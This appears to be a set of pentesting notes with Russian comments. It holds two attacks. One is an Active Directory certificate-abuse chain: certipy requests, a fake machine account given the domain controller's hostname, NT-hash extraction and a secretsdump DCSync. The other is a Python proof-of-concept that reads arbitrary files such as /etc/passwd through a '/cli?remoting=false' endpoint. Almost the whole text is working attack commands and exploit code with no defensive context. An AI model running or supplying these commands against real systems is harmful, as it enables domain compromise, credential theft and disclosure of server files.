# Установка
pip install certipy-ad

# Запрос сертификата
# для certipy-ad v3.0.0:
certipy req 'domain.local/username:[email protected]' -ca 'CA NAME' -template TemplateName
# для certipy-ad v4.8.2:
certipy req -u [email protected] -p password -ca 'CA NAME' -template User -upn [email protected] -dc-ip 10.10.10.10

# Авторизация с сертификатом для извлечения NTLM-хэша:
certipy auth -pfx username.pfx -dc-ip 10.10.10.10

addcomputer.py 'domain.local/username:password' -method LDAPS -computer-name 'TESTPC' -computer-pass 'P@ssw0rd'

certipy req 'domain.local/TESTPC$:P@[email protected]' -ca 'CA NAME' -template Machine

certipy auth -pfx testpc.pfx

Get-ADComputer TESTPC -properties dnshostname,serviceprincipalname
Set-ADComputer TESTPC -DnsHostName DC.domain.local # вернёт ошибку из-за дублирующейся SPN
Set-ADComputer TESTPC -ServicePrincipalName @{} # обнуляем SPN
Set-ADComputer TESTPC -DnsHostName DC.domain.local

certipy req 'domain.local/TESTPC$:P@[email protected]' -ca 'CA NAME' -template Machine

certipy auth -pfx dc.pfx
...
[*] Got NT hash for 'dc$@domain.local': 14fc9b5814def64289bb694f6659c733

secretsdump.py 'domain.local/dc$@domain.local' -hashes aad3b435b51404eeaad3b435b51404ee:14fc9b5814def64289bb694f6659c733 -outputfile dcsync.txt

import threading
import http.client
import time
import uuid
import urllib.parse
import sys

if len(sys.argv) != 3:
    print('[*] usage: python poc.py https://127.0.0.1:8888/ [/etc/passwd]')
    exit()

data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())

print(f'REQ: {data_bytes}\n')

def req1():
    conn = http.client.HTTPConnection(target.netloc)
    conn.request("POST", "/cli?remoting=false", headers={
        "Session": uuid_str,
        "Side": "download"
    })
    print(f'RESPONSE: {conn.getresponse().read()}')

def req2():
    conn = http.client.HTTPConnection(target.netloc)
    conn.request("POST", "/cli?remoting=false", headers={
        "Session": uuid_str,
        "Side": "upload",
        "Content-type": "application/octet-stream"
    }, body=data_bytes)

t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)

t1.start()
time.sleep(0.1)
t2.start()

t1.join()
t2.join()

python poc.py https://127.0.0.1:8888/ [/etc/passwd]